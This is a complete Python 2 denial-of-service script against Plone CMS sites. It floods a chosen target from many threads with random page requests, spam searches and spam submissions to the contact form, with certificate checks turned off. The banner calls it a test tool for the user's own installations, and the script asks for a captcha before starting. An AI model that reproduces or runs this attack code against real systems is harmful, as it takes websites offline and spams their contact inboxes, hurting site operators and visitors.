dos_plone.py

# -*- coding: utf-8 -*-
# 
# @author: 0_o -- null_null
#          nu11.nu11 [at] yahoo.com
#          Oh, and it is n-u-one-one.n-u-one-one, no l's...
#
# @copyright: 2016 until today, all rights reserved. NO UNAUTHORIZED USE PERMITTED!
# 
# @license: GPLv3.0
# 

import threading
import sys
import argparse
import signal
import requests
import random
import string
import time

if sys.platform.startswith('darwin'):
    # Disable the nasty warnings about SSL cert verification. This is a DoS tool!
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
elif sys.platform.startswith('linux'):
    pass
elif sys.platform.startswith('win'):
    pass
else:
    pass

sw_name = "Plone DoS test tool"
sw_version = "v1.2"
sw_banner = '\nThis is the ' + sw_name + ' ' + sw_version + ' - Availability does matter.\n' \
            'Use it to drown a Plone instance in non-cachable requests.\n' \
            '(C) 2016 until today: 0_o -- null_null (nu11.nu11[at]yahoo.com)\n\n' \
            'WARNING:    ATTACK YOUR OWN PLONE INSTALLATIONS ONLY!!!\n' \
            '            WHEN USING THIS TOOL AGAINST OTHER INSTALLATIONS THAN THOSE\n' \
            '            YOU ARE AUTHORIZED TO ATTACK, YOU MIGHT VIOLATE YOUR LOCAL LAWS!\n\n' \
            'DISCLAIMER: This software is delivered as-is. Use it on your own risk!\n' \
            '            I am _not_ responsible for any damage it might cause and\n' \
            '            I cannot be held liable for it. YOU HAVE BEEN WARNED!\n\n' \
            'License:    This software is licensed under GPLv3.\n' \
            '            You find a copy of the license here:\n' \
            '            http://www.gnu.org/licenses/gpl-3.0.en.html\n'
threadLock = threading.Lock()
threads = []
running = True


class dos_nonexiting(threading.Thread):
    def __init__(self, victim):
        threading.Thread.__init__(self)
        self.__running = True
        self.__victim = victim
        self.__randstr = threading.local()
        self.__req = threading.local()
        self.__r = threading.local()
        self.__e = threading.local()
        self.__h = threading.local()
        self.__c = threading.local()
        pass

    def run(self):
        global threadLock
        s = threading.local()
        # Use a backoff sleep time to avoid all threads starting at once
        time.sleep(random.random())
        session = threading.local()
        session = requests.Session()
        while self.__running:
            self.__randstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
            self.__req = self.__victim + '/' + self.__randstr
            try:
                self.__r = session.get(self.__req, verify = False)
                self.__e = self.__r.status_code
                self.__h = self.__r.headers
                self.__c = self.__r.content
                if self.__e >= 500: s = "5"
                else: s = "."
                # No need for thread safety here... Hrrhrrhrr :)
                sys.stdout.write(s)
            except (requests.ConnectionError):
                sys.stdout.write("E")
        pass
    
    def stopme(self):
        self.__running = False
        pass
    
    
class dos_search(threading.Thread):
    def __init__(self, victim):
        threading.Thread.__init__(self)
        self.__running = True
        self.__victim = victim
        self.__randstr = threading.local()
        self.__req = threading.local()
        self.__r = threading.local()
        self.__e = threading.local()
        self.__h = threading.local()
        self.__c = threading.local()
        pass

    def run(self):
        global threadLock
        s = threading.local()
        # Use a backoff sleep time to avoid all threads starting at once
        time.sleep(random.random())
        session = threading.local()
        session = requests.Session()
        while self.__running:
            self.__randstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
            self.__req = self.__victim + '/@@search?SearchableText=' + self.__randstr
            try:
                self.__r = session.get(self.__req, verify = False)
                self.__e = self.__r.status_code
                self.__h = self.__r.headers
                self.__c = self.__r.content
                if self.__e >= 500: s = "5"
                else: s = "."
                # No need for thread safety here... Hrrhrrhrr :)
                sys.stdout.write(s)
            except (requests.ConnectionError):
                sys.stdout.write("E")
        pass
    
    def stopme(self):
        self.__running = False
        pass
    
    
class dos_contact(threading.Thread):
    def __init__(self, victim):
        threading.Thread.__init__(self)
        self.__running = True
        self.__victim = victim
        self.__randstr = threading.local()
        self.__req = threading.local()
        self.__data = threading.local()
        self.__headers = threading.local()
        self.__r = threading.local()
        self.__e = threading.local()
        self.__h = threading.local()
        self.__c = threading.local()
        pass

    def run(self):
        global threadLock
        s = threading.local()
        self.__req = self.__victim + '/contact-info'
        self.__headers = {'Referer': self.__req, 
                          'Content-Type': 'multipart/form-data; boundary=---------------------------29713827018367436031035745563'}
        # Use a backoff sleep time to avoid all threads starting at once
        time.sleep(random.random())
        session = threading.local()
        session = requests.Session()
        while self.__running:
            self.__randstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
            self.__data = '-----------------------------29713827018367436031035745563\x0d\x0a' \
                          'Content-Disposition: form-data; name=\"form.widgets.sender_fullname\"\x0d\x0a\x0d\x0aspammer ' + self.__randstr + '\x0d\x0a' \
                          '-----------------------------29713827018367436031035745563\x0d\x0a' \
                          'Content-Disposition: form-data; name=\"form.widgets.sender_from_address\"\x0d\x0a\x0d\x0aspam-' + self.__randstr + '@nowhere.org\x0d\x0a' \
                          '-----------------------------29713827018367436031035745563\x0d\x0a' \
                          'Content-Disposition: form-data; name=\"form.widgets.subject\"\x0d\x0a\x0d\x0aspam ' + self.__randstr + '\x0d\x0a' \
                          '-----------------------------29713827018367436031035745563\x0d\x0a' \
                          'Content-Disposition: form-data; name=\"form.widgets.message\"\x0d\x0a\x0d\x0ajust_spam_' + self.__randstr + '\x0d\x0a' \
                          '-----------------------------29713827018367436031035745563\x0d\x0a' \
                          'Content-Disposition: form-data; name=\"form.buttons.send\"\x0d\x0a\x0d\x0aSenden\x0d\x0a' \
                          '-----------------------------29713827018367436031035745563--\x0d\x0a'
            try:
                self.__r = session.post(self.__req, headers=self.__headers, data=self.__data, verify = False)
                self.__e = self.__r.status_code
                self.__h = self.__r.headers
                self.__c = self.__r.content
                if self.__e >= 500: s = "5"
                else: s = "."
                # No need for thread safety here... Hrrhrrhrr :)
                sys.stdout.write(s)
            except (requests.ConnectionError):
                sys.stdout.write("E")
        pass
    
    def stopme(self):
        self.__running = False
        pass


def stop_all():
    global threads
    for t in threads:
        t.stopme()


def main():
    global threads
    global running
    global sw_banner
    attacks = {0: dos_nonexiting,
               1: dos_search,
               2: dos_contact}
    attacks.update({len(attacks): None})
    # Make the script killable gracefully by SIGTERM and SIGABRT.
    signal.signal(signal.SIGTERM, stop_all)
    signal.signal(signal.SIGABRT, stop_all)
    random.seed()
    print sw_banner
    argParser = argparse.ArgumentParser(formatter_class = argparse.ArgumentDefaultsHelpFormatter)
    argParser.epilog = "While the program is running, one character will be printed out for each request. E: connection error, 5: HTTP status 5xx, .: all other HTTP status codes."
    argParser.add_argument("-t", "--target", dest = "target", type = str, default = "https://localhost", required = True, help = "The target to test", metavar = "TARGET")
    argParser.add_argument("-a", "--attack", dest = "attack", type = int, default = 3, required = False, help = "Different attacks. 0: GET random page, 1: spam search, 2: spam contact-info, 3: run all attacks at once", metavar = "ATTACK")
    argParser.add_argument("-n", "--number", dest = "number", type = int, default = 1, required = False, help = "Start that many threads", metavar = "NUMBER")
    argParser.add_argument("-v", "--version", action = "version", version = "1.0")
    args = argParser.parse_args(sys.argv[1:])
    my_captcha = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(3))
    try:
        print 'Run attack mode ' + str(args.attack) + ' against "' + args.target + '" with ' + str(args.number) + ' threads. Are you sure?\n'
        user_answer = str(raw_input('In order to accept the WARNING, DISCLAIMER and license printed above,\nplease enter the captcha code (' + my_captcha + '): '))
    except (KeyboardInterrupt, SystemExit):
        print "\n\nYou bailed out - Good Bye!\n"
        return
    if user_answer != my_captcha:
        print "\nGot blurry vision? Wrong captcha code!\n"
        return
    print "\nStarting up - hit Ctrl+C to abort (and then be patient)..."
    for i in range(1, args.number + 1):
        if attacks.get(args.attack) is None:
            # OK, run all attack types at once.
            t = attacks.get(random.randint(0, len(attacks) - 2))(args.target)
        else:
            # Run one specified type of attack.
            t = attacks.get(args.attack)(args.target)
        threads.append(t)
        t.start()
    try:
        while running:
            time.sleep(0.1)
            # Keep the console printing dots and numbers
            sys.stdout.flush()
    except (KeyboardInterrupt, SystemExit):
        running = False
        stop_all()
    finally:
        for t in threads:
            t.join()
            sys.stdout.flush()
        print "\nAll threads stopped.\n"
    pass


if __name__ == '__main__':
    try:
        main()
    except (KeyboardInterrupt):
        print "\nBe p-a-t-i-e-n-t !!!"
        pass
   
# vim syntax=python ts=4 sw=4 sts=4 sr noet